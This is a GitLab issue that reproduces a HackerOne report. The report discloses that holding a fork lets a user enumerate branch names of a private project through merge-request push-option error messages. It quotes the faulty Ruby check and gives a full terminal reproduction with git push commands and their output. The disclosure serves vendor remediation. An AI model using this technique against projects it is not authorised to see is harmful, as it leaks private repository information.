Private project branches can be leaked through a fork
**[HackerOne report #1710533](https://hackerone.com/reports/1710533)** by `shells3c` on 2022-09-23, assigned to @dcouture: [Report](#report) | [How To Reproduce](#how-to-reproduce) ## Report ##### Summary If you have a fork of a private/restricted project, you can easily scan for its branch names via [Push Options](https://docs.gitlab.com/ee/user/project/push_options.html) with that fork. The problem is caused by [app/services/merge_requests/push_options_handler_service.rb:67](https://gitlab.com/gitlab-org/gitlab/-/blob/617cceedc09a61d8ffdf68caca2269b17209545d/app/services/merge_requests/push_options_handler_service.rb#L67) ```ruby if push_options[:target] && !target_project.repository.branch_exists?(push_options[:target]) errors << "Target branch #{target_project.full_path}:#{push_options[:target]} does not exist" ``` It doesn't check if the user has the access to the project repository or not, therefore leaking the information unintentionally ##### Steps to reproduce 1. Victim creates a project, say `victim/project` 2. Attacker forks that project: `attacker/project` 3. Victim makes that project private 3. From the attacker's terminal: ```bash $ git clone https://gitlab.instance/attacker/project.git Cloning into 'project'... remote: Enumerating objects: 52, done. remote: Total 52 (delta 0), reused 0 (delta 0), pack-reused 52 Receiving objects: 100% (52/52), 5.50 KiB | 268.00 KiB/s, done. Resolving deltas: 100% (6/6), done. $ cd project $ echo a > foo; git add -A; git commit -m . ... $ # Let's check if this-branch-does-not-exist exists or not $ git push -o merge_request.create -o merge_request.target=this-branch-does-not-exist Username for 'https://gitlab.instance': attacker Password for 'https://attacker@gitlab.instance': Enumerating objects: 3, done. Counting objects: 100% (3/3), done. Delta compression using up to 8 threads Compressing objects: 100% (2/2), done. Writing objects: 100% (2/2), 345 bytes | 345.00 KiB/s, done. Total 2 (delta 1), reused 0 (delta 0), pack-reused 0 remote: remote: ======================================================================== remote: remote: WARNINGS: Error encountered with push options remote: 'merge_request.create' remote: 'merge_request.target=this-branch-does-not-exist': Target branch remote: victim/project:this-branch-does-not-exist does not exist remote: remote: ======================================================================== remote: To https://gitlab.instance/attacker/project.git ... $ #The branch does not exist on victim/project, let's check if this-branch-exists exists or not $ echo b > foo; git add -A; git commit -m . ... $ git push -o merge_request.create -o merge_request.target=this-branch-exists Username for 'https://gitlab.instance': attacker Password for 'https://attacker@gitlab.instance': Enumerating objects: 3, done. Counting objects: 100% (3/3), done. Delta compression using up to 8 threads Compressing objects: 100% (2/2), done. Writing objects: 100% (2/2), 345 bytes | 345.00 KiB/s, done. Total 2 (delta 1), reused 0 (delta 0), pack-reused 0 To https://gitlab.instance/attacker/project.git ... $ #No error -> the branch exists ``` ##### Output of checks This bug happens on GitLab.com #### Impact Ability to enumerate branches of any private or [restricted](https://docs.gitlab.com/ee/user/admin_area/settings/visibility_and_access_controls.html#restrict-visibility-levels) project if you have access to at least a fork ## How To Reproduce Please add [reproducibility information] to this section: 1. 1. 1. [reproducibility information]: https://about.gitlab.com/handbook/engineering/security/#reproducibility-on-security-issues
issue